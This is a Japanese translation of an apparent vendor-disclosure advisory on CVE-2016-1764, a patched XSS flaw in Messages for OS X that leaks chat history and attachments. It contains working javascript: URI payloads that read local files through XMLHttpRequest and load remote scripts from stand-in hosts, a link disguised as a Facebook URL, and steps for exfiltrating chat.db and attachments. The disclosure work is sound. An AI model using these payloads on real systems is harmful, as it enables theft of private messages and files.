
XSSによるiMessageデータの抽出

ベンダー: Apple
公開日: 2016年4月8日
パッチ適用日: 2016年3月21日
影響を受けるシステム: OSX Mountain Yosemite, El Capitan の Messages
Apple をめぐる最近の議論の大半は暗号に集中していますが、業界や法執行機関は、より単純なアプリケーションレベルの脆弱性を悪用すれば暗号化を完全に回避できることを忘れているようです。2016年3月に Apple によって修正された CVE-2016-1764 は、OS X の iMessage クライアントを悪用することで、すべてのメッセージ内容と添付ファイルを平文でリモートに漏えいさせるアプリケーション層のバグです。さらに、これを悪用するのに数学の大学院学位は必要なく、メモリ管理、シェルコード、複雑な ASLR 回避 ROP チェーンに関する詳細な知識も必要ありません。実際、これは基本的な JavaScript の知識がある人なら誰でも悪用できる、比較的単純なバグです。
Apple の OS X 向け Messages(iMessage)は、組み込み版の WebKit を使用してユーザーインターフェイスを実装しており、さらに OS X の Messages はあらゆる URI をクリック可能な HTML の <a href= リンクとしてレンダリングします。攻撃者は単純な JavaScript URI(例: javascript:)を作成し、それをクリックさせることで、アプリケーションの DOM コンテキストで最初の JavaScript 実行(XSS)を得ることができます。Messages for OS X が使用する組み込み WebKit ライブラリは applewebdata:// オリジンで実行されますが、同一生成元ポリシー(SOP)が実装されていないため、攻撃者は XMLHttpRequest(XHR)GET リクエストによる file:// URI へのアクセスを利用して任意のファイルを読み取ることができます。XHR を悪用してファイルを読み取ることで、攻撃者は被害者のインターネット接続が許す限り高速に、チャット履歴全体と添付ファイルをリモートサーバーにアップロードできます。必要なユーザー操作は、チャット内の1つのリンクをクリックすることだけです。さらに、SMS 転送が有効になっている場合、攻撃者は被害者の iPhone との間で送受信されたメッセージも復元できます。
詳細を知りたい場合は、読み進めてください。
OS X の Messages は、ユーザーインターフェイスの多くに組み込み版の WebKit を使用しています。アプリケーションがメッセージを送受信すると、UI や送信された添付ファイル・メディアコンテンツをレンダリングするために HTML が DOM に挿入されます。アプリケーションを通じて送信されるすべてのメッセージは DOM 内でレンダリングされるため、一般的なクライアントサイド Web の脆弱性がアプリケーションに影響を与える可能性があります。
OS X の Messages クライアントをテストしたところ、任意のプロトコルスキームが自動的にリンクに変換され、DOM に挿入されることが判明しました。たとえば、次の URI はメッセージ送信時にすべて WebView 内にリンクとして挿入されます。
test://test
smb://[email protected]
file:///etc
anyurihandler://anycontentafter
OS X の Messages は受け付けるプロトコルのホワイトリストを実装していないため、攻撃者は被害者に javascript: という JavaScript URI を含むメッセージを送信でき、これは被害者のマシン上でクリック可能なリンクに変換されます。
クリックされると、組み込み WebKit は攻撃者が制御する JavaScript を現在のオリジンで忠実に実行します。例:

%0a(つまり \n)は、パーサーのリンクパターンに一致させるために必要な JavaScript コメント // をエスケープするために使用されることに注意してください。コードが解釈されると、次のようになります:
//bishopfox.com/research?
prompt(1)
このリンクをクリックすると、OS X の Messages 内で JavaScript プロンプトが起動されます:

ただし、Messages for OS X は Web サイトではなくデスクトップアプリケーションです。したがって、JavaScript は applewebdata:// オリジンのコンテキストで実行されます:

しかし、攻撃者のコードは完全な WebKit 実装内で実行されるため、実行時に XMLHttpRequest が利用可能です。組み込み版 WebKit と Chrome や Safari などの Web ブラウザの主な違いの1つは、組み込み版はネイティブデスクトップアプリケーションであるため、同一生成元ポリシー(SOP)を実装していないことです。攻撃者はこれを利用して、XMLHttpRequest GET を file:// URI に送信し、同一生成元ポリシーに違反することなくローカルファイルシステムからファイルを読み取ることができます。唯一の要件は、攻撃者が完全なファイルパスを知っている必要があることであり、相対ファイルシステムパス(例: ~/.ssh/id_rsa)は使用できません。
たとえば、次の JavaScript は Messages アプリケーションの DOM によって実行され、/etc/passwd ファイルを読み取ることができます:
function reqListener () {
prompt(this.responseText);
// send back to attackers server here
}
var oReq = new XMLHttpRequest();
oReq.addEventListener("load", reqListener);
oReq.open("GET", "file:///etc/passwd");
oReq.send();
URI ペイロードに変換すると、コードは次のようになります:
javascript://bishopfox.com/research?%0d%0afunction%20reqListener%20()%20%7B%0A%20%20prompt(this.responseText)%3B%0A%7D%0Avar%20oReq%20%3D%20new%20XMLHttpRequest()%3B%0AoReq.addEventListener(%22load%22%2C%20reqListener)%3B%0AoReq.open(%22GET%22%2C%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22)%3B%0AoReq.send()%3B
Messages アプリケーションでクリックすると、次のプロンプトが表示されます:

上記のベクターはかなり長く、過度に不審に見えるため、ドメインから JavaScript を動的に読み込んで DOM に含めることで URI を短縮できます。たとえば、次のベクターは http://example.com/1.js からの JavaScript を Message の DOM に注入します:
javascript://bishopfox.com/research?%0a%28function%28s%29%7Bs.src%3D%27http%3A%2f%2fexample.com%2f1.js%27%3Bdocument.body.appendChild%28s%29%7D%29%28document.createElement%28%27script%27%29%29
上記のベクターで参照されている JavaScript ファイル //example.com/1.js には、任意の長さの任意の JavaScript 命令を含めることができます。
ただし、OS X アプリケーションサンドボックスは、ファイルシステムへのアクセスを ~/Library/Messages/* と /etc/ などの一部の非ユーザーシステムディレクトリに制限していました。
OS X の Messages がメッセージと添付ファイルを受信すると、それらは次のディレクトリ内に保存されます:
/Users/<username>/Library/Messages/*
これらのメッセージのテキストコンテンツとその他のメタデータは、次の場所にある SQLite データベース内に保存されます:
/Users/<username>/Library/Messages/chat.db
このデータベースには、ユーザーのマシン上にあるすべての添付ファイルの場所も含まれています。
このデータベースを窃取し、その後、被害者が送受信したすべての添付ファイルを窃取するには、より高度な攻撃ペイロードが必要です。
攻撃者がデータを正常に外部送信する前に、次の手順を実行する必要があります:
~ は使用できない)chat.db ファイルの完全なパス、つまり /Users/ExampleUser/Library/Messages/chat.db を生成するXMLHttpRequest を使用して chat.db データベースを読み取り、添付ファイルのファイルパスをクエリするXMLHttpRequest を使用してデータベースとすべての添付ファイルをアップロードする(リアルタイムアクセスが必要な場合は WebSockets を使用)現在ログインしているユーザーは、/Library/Preferences/com.apple.loginwindow.plist をリクエストして解析することで判別できます。このファイルは、OS X アプリケーションサンドボックス内から便利に読み取ることができます。ここから、ユーザーの chat.db への完全なパスを簡単に構築できます。
データベースファイルが正常に外部送信されたら、それをカスタムサーバーサイドスクリプトに渡すことができます。このスクリプトは、データベース内の attachments テーブルにある、被害者が送受信した添付ファイルの完全なパスを抽出します。
これらの完全なパスは悪意のある JavaScript ペイロードによって取得され、XMLHttpRequest を介して被害者のマシンから添付ファイルを外部送信するために使用されます。
次に、攻撃者は URL をもう少し信憑性のあるものにするために少し難読化を行います:
javascript://www.facebook.com/photo.php?fbid=111789595853599&set=a.111055039260388.1073741826.100010676767694&type=3&theater%0A%28function%28s%29%7Bs.src%3D%27http%3A%2f%2fyourhostname%3A8888%2ff%2fpayload.js%27%3Bdocument.body.appendChild%28s%29%7D%29%28document.createElement%28%27script%27%29%29
被害者が上記の URI を OS X の Messages アプリケーションでクリックした場合、被害者のチャット履歴全体と関連するすべての添付ファイルが攻撃者に送信されます。
JavaScript はどこにでもある
Web アプリケーションのセキュリティ上の欠陥は、もはやブラウザだけに限定されず、ネイティブアプリケーションにも浸透しています。開発者が WebKit や、はるかに危険な親戚である nw.js などの Web テクノロジーを使用してデスクトップアプリケーションを構築することは生産的ですが、Web アプリケーションのセキュリティに関するベストプラクティスには従わなければなりません。